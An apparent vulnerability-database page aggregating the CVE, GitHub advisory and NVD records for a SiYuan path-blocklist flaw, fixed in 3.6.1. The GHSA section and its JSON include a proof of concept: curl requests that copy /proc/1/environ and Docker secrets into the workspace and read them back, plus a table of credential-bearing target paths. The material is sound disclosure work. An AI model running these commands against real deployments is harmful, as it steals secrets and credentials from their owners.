Vulnerability-Lookup

CVE-2026-32747 (GCVE-0-2026-32747)

Vulnerability from cvelistv5 – Published: 2026-03-19 21:02 – Updated: 2026-03-20 17:08

Title

SiYuan: Incomplete sensitive path blocklist in globalCopyFiles allows reading /proc and Docker secrets

Summary

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.

Severity ?

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M

References

URL

Tags

	https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM
	https://github.com/siyuan-note/siyuan/commit/9914…	x_refsource_MISC
	https://github.com/siyuan-note/siyuan/releases/ta…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	siyuan-note	siyuan	Affected: < 3.6.1

Show details on NVD website

JSON

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{
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            "other": {
              "content": {
                "id": "CVE-2026-32747",
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                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
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                "role": "CISA Coordinator",
                "timestamp": "2026-03-20T17:08:27.346190Z",
                "version": "2.0.3"
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          "tags": [
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          "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
        }
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      "source": {
        "advisory": "GHSA-h5vh-m7fg-w5h6",
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      "title": "SiYuan: Incomplete sensitive path blocklist in globalCopyFiles allows reading /proc and Docker secrets"
    }
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      "date": "2026-04-16",
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      "percentile": "0.1909"
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    "vulnrichment": {
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}

GHSA-H5VH-M7FG-W5H6

Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:58

Summary

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

Details

Summary

POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details

File: kernel/api/file.go - function globalCopyFiles

for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)

    if util.IsSensitivePath(absSrc) {
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Docker secrets:

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact

An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Severity ?

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:14Z",
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n    absSrc, _ := filepath.Abs(src)\n\n    if util.IsSensitivePath(absSrc) {\n        return\n    }\n    srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n    dest := filepath.Join(destDir, filepath.Base(src))\n    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}\u0027\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"path\":\"/data/assets/environ\"}\u0027 | tr \u0027\\0\u0027 \u0027\\n\u0027\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}\u0027\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
  "id": "GHSA-h5vh-m7fg-w5h6",
  "modified": "2026-03-30T13:58:13Z",
  "published": "2026-03-16T18:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets"
}

FKIE_CVE-2026-32747

Vulnerability from fkie_nvd - Published: 2026-03-19 21:17 - Updated: 2026-03-23 18:23

Severity ?

6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
4.9 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1	Patch
security-advisories@github.com	https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1	Release Notes
security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	b3log	siyuan	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780",
              "versionEndExcluding": "3.6.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API  eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1."
    },
    {
      "lang": "es",
      "value": "SiYuan es un sistema de gesti\u00f3n de conocimiento personal. En las versiones 3.6.0 e inferiores, la API globalCopyFiles lee archivos fuente utilizando filepath.Abs() sin una verificaci\u00f3n de l\u00edmites del espacio de trabajo, confiando \u00fanicamente en util.IsSensitivePath() cuya lista de bloqueo omite /proc/, /run/secrets/ y los archivos ocultos del directorio de inicio. Un administrador puede copiar /proc/1/environ o secretos de Docker en el espacio de trabajo y leerlos a trav\u00e9s de la API de archivos est\u00e1ndar. Un administrador puede exfiltrar cualquier archivo legible por el proceso de SiYuan que quede fuera de la lista de bloqueo incompleta. En implementaciones en contenedores, esto incluye todos los secretos inyectados y las variables de entorno, un patr\u00f3n com\u00fan para pasar credenciales a los contenedores. Los archivos exfiltrados son entonces accesibles a trav\u00e9s de la API de archivos est\u00e1ndar del espacio de trabajo y persisten hasta que se eliminan manualmente. Este problema ha sido solucionado en la versi\u00f3n 3.6.1."
    }
  ],
  "id": "CVE-2026-32747",
  "lastModified": "2026-03-23T18:23:38.777",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-19T21:17:10.737",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-184"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-32747 (GCVE-0-2026-32747)

GHSA-H5VH-M7FG-W5H6

Summary

Details

PoC

Impact

FKIE_CVE-2026-32747

Tags

Sightings

Nomenclature